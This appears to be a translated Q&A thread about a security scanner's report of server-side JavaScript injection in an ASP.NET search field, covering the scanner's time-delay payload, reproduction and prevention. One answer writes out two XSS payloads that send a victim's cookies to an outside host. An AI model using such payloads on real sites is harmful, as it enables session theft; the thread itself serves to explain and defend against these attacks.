服务器端 JavaScript 代码注入攻击

Server Side JavaScript Code Injection Attack

我们正在开发的 ASP.NET 网站的安全扫描报告了以下用于搜索的输入字段:

"The ctl00%24txtTopQckSearch parameter appears to be vulnerable to server-side JavaScript code injection attacks. The submitted value appears to be placed into a dynamically evaluated JavaScript statement, within a single-quoted context.

The payload '+(function(){if(typeof cb715==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);cb715=1;}}())+' was submitted in the ctl00%24txtTopQckSearch parameter. The application took 7641 milliseconds to respond to the request, compared with 5625 milliseconds for the original request, indicating that the injected JavaScript code caused a time delay.

Please note that to manually reproduce this behavior using the reported request, you will need to change the name of the canary variable, which is currently cb715."

我的问题是:

什么是 "Server-Side JavaScript code injection"(相对于客户端注入 -XSS)?

如何手动重新创建上述服务器端攻击?

如何预防?

谢谢!

他们可以注入 JavaScript 代码。这是一个 XSS 漏洞。

如果您有此代码(不知道 ASP 抱歉):

<div><?php echo $_GET["foo"];?></div>

它几乎会打印您传递的任何内容 foo。所以如果你找人加载:

http://yoursite.com/index.php?foo=<script>document.location.href="http://mywebsite.com/?cookie=" + document.cookie</script>

我现在已经窃取了他们的会话。它注入了一段 JavaScript 代码,用于读取 cookie 并将其发送到我的网站。

JavaScript 中直接存在类似的方法:

<script>var data = <?php echo $_GET["foo"];?>;</script>

现在如果 foo 的值类似于

"";document.location.href="http://mywebsite.com/?cookie=" + document.cookie`

我又偷饼干了

避免 XSS 的方法是总是总是总是逃避不受信任的内容。在 PHP 中,函数是 htmlspecialchars(对于 HTML)和 json_encode(对于 JavaScript)。


他们通过注入需要很长时间执行的代码(创建 20000 个 Date 对象)并比较加载页面所需的时间来检测 XSS 漏洞。

What is "Server-Side JavaScript code injection" (as opposed to Client-Side Injection -XSS)?

这是一个允许攻击者在您的服务器上(而不是在某人的浏览器中)执行他们的 JavaScript 代码的漏洞。

How can I manually recreate the server side attack described above?

该报告引用了一个 txtTopQckSearch 控件,并表示它为该控件传入了值 +(function(){if(typeof cb715==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);cb715=1;}}())+

因此您可以尝试通过

重新创建它
  1. 找出哪个页面正在使用具有该名称的控件
  2. 将 JavaScript 输入该控件(但将两次出现的 cb715 更改为不同的名称)
  3. 正在提交页面

如果扫描结果正确,则该请求的时间应该比不使用该值的请求稍长。

How can it be prevented?

追踪 txtTopQckSearch 控件并确保通过该控件接收的值永远不会连接到在您的服务器上执行的任何代码中。

我认为这完全有可能是一个转移注意力的问题,并且由于您的服务器上的一些波动,请求花费了更长的时间(事实上 "safe" 对该页面的请求花费了 >5 秒表明该页面可能存在一些性能问题)。

怀疑它是转移注意力的一个很好的理由是,如果该代码在您的服务器发回响应之前 运行 完成,则响应时间的差异将是 20 秒,而不是扫描观察到的 2 秒差异。

因此调查该控件是否存在任何可能的安全漏洞,如果没有,暂时将其作为误报注销。